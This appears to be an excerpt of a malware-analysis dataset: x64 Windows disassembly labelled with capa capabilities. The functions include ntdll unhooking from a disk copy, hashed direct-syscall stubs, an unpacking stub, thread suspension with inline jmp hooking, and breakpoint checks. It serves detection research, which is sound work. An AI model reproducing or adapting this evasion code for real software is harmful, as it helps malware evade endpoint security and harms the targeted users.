joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14013d6f0
Capabilities:
Read file via mapping

Disassembly:
push r12
push r14
sub rsp, 0x98
mov rax, qword [0x140149008]
xor rax, rsp
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xorps xmm0, xmm0
lea rcx, str.ntdll.dll
mov r12, rax
xor eax, eax
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x40], rax
mov r14, rax
test rax, rax
jne 0x14013d751
lea rcx, str.____Invalid_Ntdll_module_handle
call fcn.14013d9d0
lea eax, [r14 + 1]
jmp 0x14013d933
mov qword [rsp + 0xb0], rbx
lea r8, [rsp + 0x50]
mov qword [rsp + 0xb8], rbp
mov r9d, 0x18
mov qword [rsp + 0x88], r13
mov rdx, rax
mov rcx, r12
mov qword [rsp + 0x80], r15
call sub.KERNEL32.dll_K32GetModuleInformation
mov rbp, qword [rsp + 0x50]
lea rcx, str.c:windows_system32_ntdll.dll
xor ebx, ebx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov edx, 0x80000000
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x48], rax
xor edx, edx
mov dword [rsp + 0x20], ebx
mov r8d, 0x1000002
mov r13, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov r15, rax
test rax, rax
jne 0x14013d7f9
lea rcx, str.____Invalid_Ntdll_mapping_handle
call fcn.14013d9d0
lea eax, [rbx + 1]
jmp 0x14013d913
xor r9d, r9d
mov qword [rsp + 0xc0], rsi
xor r8d, r8d
mov qword [rsp + 0x90], rdi
mov rcx, r15
mov qword [rsp + 0x20], rbx
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd rsi, dword [rbp + 0x3c]
movzx edi, bx
add rsi, rbp
cmp bx, word [rsi + 6]
jae 0x14013d8dd
lea r8, str..text
mov r14, rax
xor r13d, r13d
movzx ecx, word [rsi + 0x14]
movzx eax, di
add rcx, rsi
lea rdx, [rax + rax*4]
mov rax, r13
lea rbx, [rcx + rdx*8]
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x14013d8c6
cmp rax, 6
jne 0x14013d860
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x68]
mov edx, dword [rbx + 0x20]
lea r8d, [rax + 0x3a]
add rcx, rbp
mov dword [rsp + 0x68], r13d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r14]
lea rcx, [rax + rbp]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x68]
mov edx, dword [rbx + 0x20]
add rcx, rbp
mov r8d, dword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, str..text
inc di
cmp di, word [rsi + 6]
jb 0x14013d842
mov r14, qword [rsp + 0x40]
mov r13, qword [rsp + 0x48]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rdi, qword [rsp + 0x90]
xor eax, eax
mov rsi, qword [rsp + 0xc0]
mov r13, qword [rsp + 0x88]
mov rbp, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0xb0]
mov r15, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140145420
add rsp, 0x98
pop r14
pop r12
ret
Function at 0x14013d960
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rdx
mov ebx, ecx
call fcn.14013d6f0
cmp ebx, 2
jge 0x14013d987
lea rcx, str.____Missing_PID..._Finding..._n
call fcn.14013d9d0
jmp 0x14013d995
mov rcx, qword [rdi + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
test eax, eax
jne 0x14013d9ad
lea rcx, str.____Process_not_found_n
call fcn.14013d9d0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, eax
call fcn.140001280
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret

Function at 0x14013e030
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xb7298d8b
call fcn.140001240
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x14013e870
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xd952b3b
call fcn.140001240
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140140870
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x1c3bdd41
call fcn.140001240
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x1401152f0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1401152fd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14011530d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1401152f5
lea eax, [rcx + 1]
jmp 0x14011531b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14011532e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140115314
sub eax, 3
jb 0x14011534e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14011539d
sar eax, 1
movsxd rbp, eax
jb 0x140115384
jmp 0x14011535c
add ebx, ebx
jne 0x14011535a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140115384
inc ecx
add ebx, ebx
jne 0x14011536a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140115384
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14011537d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14011536c
add ecx, 2
jmp 0x140115389
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1401152b2
jmp 0x1401152fd
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xc6800
mov dl, 0x1c
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1401153ed
cmp rsi, rcx
jae 0x1401153f5
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1401153d4
cmp al, 0x8f
ja 0x1401153d4
cmp byte [rsi - 2], 0xf
je 0x1401153da
sub al, 0xe8
cmp al, 1
ja 0x1401153be
cmp rsi, rcx
jae 0x1401153f5
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1401153c4
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1401153f5
lodsb al, byte [rsi]
jmp 0x1401153d4
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x112000]
mov eax, dword [rdi]
or eax, eax
je 0x140115452
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x115724]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140115402
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14011544c
mov qword [rbx], rax
add rbx, 8
jmp 0x140115422
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14011548c
cmp al, 0xef
ja 0x14011547e
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14011545e
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14011546d
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x25f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1401154e0
sub rsp, 0xffffffffffffff80
jmp 0x14000e120
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000daf0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000db00]
mov dword [rax], 1
mov rax, qword [0x14000db10]
mov dword [rax], 1
mov rax, qword [0x14000dae0]
mov dword [rax], 1
mov rax, qword [0x14000d9a0]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x14000dad0]
mov dword [0x14001100c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010c0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000da90]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000da70]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000d950]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067
Function at 0x14000298e
Capabilities:
Enumerate threads

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp + 0x20], rcx
mov dword [rbp - 4], 0
mov edx, 0
mov ecx, 4
call sym.CreateToolhelp32Snapshot
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0xffffffffffffffff
je 0x140002baa
mov dword [rbp - 0x40], 0x1c
lea rdx, [rbp - 0x40]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.Thread32First
test eax, eax
je 0x140002b9a
mov dword [rbp - 4], 1
mov eax, dword [rbp - 0x40]
cmp eax, 0xf
jbe 0x140002b21
mov ebx, dword [rbp - 0x34]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
cmp ebx, eax
jne 0x140002b21
mov ebx, dword [rbp - 0x38]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
cmp ebx, eax
je 0x140002b21
mov rax, qword [rbp + 0x20]
mov rax, qword [rax]
test rax, rax
jne 0x140002a82
mov rax, qword [rbp + 0x20]
mov dword [rax + 8], pe_nt_image_headers64
mov rax, qword [rbp + 0x20]
mov eax, dword [rax + 8]
mov eax, eax
lea rdx, [rax*4]
mov rax, qword [0x140011088]
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov rdx, qword [rbp + 0x20]
mov qword [rdx], rax
mov rax, qword [rbp + 0x20]
mov rax, qword [rax]
test rax, rax
jne 0x140002afa
mov dword [rbp - 4], 0
jmp 0x140002b40
mov rax, qword [rbp + 0x20]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp + 0x20]
mov eax, dword [rax + 8]
cmp edx, eax
jb 0x140002afa
mov rax, qword [rbp + 0x20]
mov eax, dword [rax + 8]
lea edx, [rax + rax]
mov rax, qword [rbp + 0x20]
mov dword [rax + 8], edx
mov rax, qword [rbp + 0x20]
mov eax, dword [rax + 8]
mov eax, eax
lea rcx, [rax*4]
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax]
mov rax, qword [0x140011088]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapReAlloc]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140002aef
mov dword [rbp - 4], 0
jmp 0x140002b40
mov rax, qword [rbp + 0x20]
mov rdx, qword [rbp - 0x18]
mov qword [rax], rdx
mov rax, qword [rbp + 0x20]
mov r8, qword [rax]
mov rax, qword [rbp + 0x20]
mov eax, dword [rax + 0xc]
lea ecx, [rax + 1]
mov rdx, qword [rbp + 0x20]
mov dword [rdx + 0xc], ecx
mov eax, eax
shl rax, 2
lea rdx, [r8 + rax]
mov eax, dword [rbp - 0x38]
mov dword [rdx], eax
mov dword [rbp - 0x40], 0x1c
lea rdx, [rbp - 0x40]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.Thread32Next
test eax, eax
jne 0x1400029e8
cmp dword [rbp - 4], 0
je 0x140002b5b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0x12
je 0x140002b5b
mov dword [rbp - 4], 0
cmp dword [rbp - 4], 0
jne 0x140002b9a
mov rax, qword [rbp + 0x20]
mov rax, qword [rax]
test rax, rax
je 0x140002b9a
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax]
mov rax, qword [0x140011088]
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
mov rax, qword [rbp + 0x20]
mov qword [rax], 0
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 4]
add rsp, 0x68
pop rbx
pop rbp
ret
Function at 0x140002bb4
Capabilities:
Suspend thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x20], r8d
mov dword [rbp - 4], 0
mov rax, qword [rbp + 0x10]
mov qword [rax], 0
mov rax, qword [rbp + 0x10]
mov dword [rax + 8], 0
mov rax, qword [rbp + 0x10]
mov dword [rax + 0xc], 0
mov rcx, qword [rbp + 0x10]
call sym.EnumerateThreads
test eax, eax
jne 0x140002c08
mov dword [rbp - 4], 9
jmp 0x140002c9a
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
test rax, rax
je 0x140002c9a
mov dword [rbp - 8], 0
jmp 0x140002c8e
mov rax, qword [rbp + 0x10]
mov rdx, qword [rax]
mov eax, dword [rbp - 8]
shl rax, 2
add rax, rdx
mov eax, dword [rax]
mov r8d, eax
mov edx, 0
mov ecx, 0x5a
mov rax, qword [sym.imp.KERNEL32.dll_OpenThread]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140002c8a
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SuspendThread]
call rax
mov ecx, dword [rbp + 0x20]
mov edx, dword [rbp + 0x18]
mov rax, qword [rbp - 0x10]
mov r8d, ecx
mov rcx, rax
call sym.ProcessThreadIPs
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
add dword [rbp - 8], 1
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0xc]
cmp dword [rbp - 8], eax
jb 0x140002c21
mov eax, dword [rbp - 4]
add rsp, 0x30
pop rbp
ret

Function at 0x140002ca3
Capabilities:
Resume thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
test rax, rax
je 0x140002d4e
mov dword [rbp - 4], 0
jmp 0x140002d20
mov rax, qword [rbp + 0x10]
mov rdx, qword [rax]
mov eax, dword [rbp - 4]
shl rax, 2
add rax, rdx
mov eax, dword [rax]
mov r8d, eax
mov edx, 0
mov ecx, 0x5a
mov rax, qword [sym.imp.KERNEL32.dll_OpenThread]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140002d1c
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
add dword [rbp - 4], 1
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0xc]
cmp dword [rbp - 4], eax
jb 0x140002cc8
mov rax, qword [rbp + 0x10]
mov rdx, qword [rax]
mov rax, qword [0x140011088]
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140002d55
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov dword [rbp + 0x18], edx
mov rcx, qword [0x140011090]
mov edx, dword [rbp + 0x10]
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 3
add rax, rcx
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], 5
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax + 0x20]
and eax, 1
test al, al
je 0x140002dae
sub qword [rbp - 0x10], 5
add qword [rbp - 8], 2
lea rcx, [rbp - 0x2c]
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
jne 0x140002ddd
mov eax, 0xa
jmp 0x140002f03
cmp dword [rbp + 0x18], 0
je 0x140002e39
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov byte [rax], 0xe9
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 8]
mov rdx, qword [rbp - 0x10]
add rdx, 5
sub rax, rdx
mov edx, eax
mov rax, qword [rbp - 0x20]
mov dword [rax + 1], edx
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax + 0x20]
and eax, 1
test al, al
je 0x140002e7e
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov byte [rax], 0xeb
mov rax, qword [rbp - 0x28]
mov byte [rax + 1], 0xf9
jmp 0x140002e7e
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax + 0x20]
and eax, 1
test al, al
je 0x140002e64
mov rax, qword [rbp - 0x18]
lea rdx, [rax + 0x18]
mov rax, qword [rbp - 0x10]
mov r8d, 7
mov rcx, rax
call sym.memcpy
jmp 0x140002e7e
mov rax, qword [rbp - 0x18]
lea rdx, [rax + 0x18]
mov rax, qword [rbp - 0x10]
mov r8d, 5
mov rcx, rax
call sym.memcpy
mov ecx, dword [rbp - 0x2c]
lea r8, [rbp - 0x2c]
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
mov r8, rdx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call rax
mov eax, dword [rbp + 0x18]
and eax, 1
mov rdx, qword [rbp - 0x18]
and eax, 1
lea ecx, [rax + rax]
movzx eax, byte [rdx + 0x20]
and eax, 0xfffffffd
or eax, ecx
mov byte [rdx + 0x20], al
mov eax, dword [rbp + 0x18]
and eax, 1
mov rdx, qword [rbp - 0x18]
and eax, 1
lea ecx, [rax*4]
movzx eax, byte [rdx + 0x20]
and eax, 0xfffffffb
or eax, ecx
mov byte [rdx + 0x20], al
mov eax, 0
add rsp, 0x50
pop rbp
ret
Function at 0x140003a20
Capabilities:
Check for software breakpoints

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
test al, al
je 0x140003a57
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
cmp al, 0x90
je 0x140003a57
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
cmp al, 0xcc
je 0x140003a57
mov eax, 0
jmp 0x140003a90
mov dword [rbp - 4], 1
jmp 0x140003a83
mov edx, dword [rbp - 4]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx edx, byte [rax]
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
cmp dl, al
je 0x140003a7f
mov eax, 0
jmp 0x140003a90
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cmp eax, dword [rbp + 0x18]
jb 0x140003a60
mov eax, 1
add rsp, 0x10
pop rbp
ret

Function at 0x140004f40
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140004fb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x140011114]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140005160
mov rax, qword [0x140011118]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140004ffc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140005087
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140004fe0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x1400051bd
mov rax, qword [0x140011118]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x140011118]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400051a2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140005080
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140005110
add dword [0x140011114], 1
cmp ebx, 8
jae 0x1400050b8
test bl, 4
jne 0x140005170
test ebx, ebx
je 0x1400050a9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140005190
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x1400050a9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x1400050ea
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x140011118]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140005080
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x140005007
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x1400050a9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x1400050a9
mov rax, qword [0x140011118]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]
Function at 0x1400056d0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140011180]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140011160]
test rbx, rbx
je 0x140005724
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000571b
test r12, r12
je 0x14000571b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140005700
lea rcx, [0x140011180]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140005950
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x140005960
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x140005970
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x1400059b5
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x1400059ac
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x1400059b7
add rax, 0x28
cmp rax, r9
jne 0x140005998
xor eax, eax
ret

Function at 0x140005a60
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x14000d9a0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x140005ad9
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140005ad9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x140005ad6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x140005acd
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x140005ad9
add r8, 0x28
cmp r8, r9
jne 0x140005ab8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x140005bc0
Capabilities:
Enumerate pe sections

Disassembly:
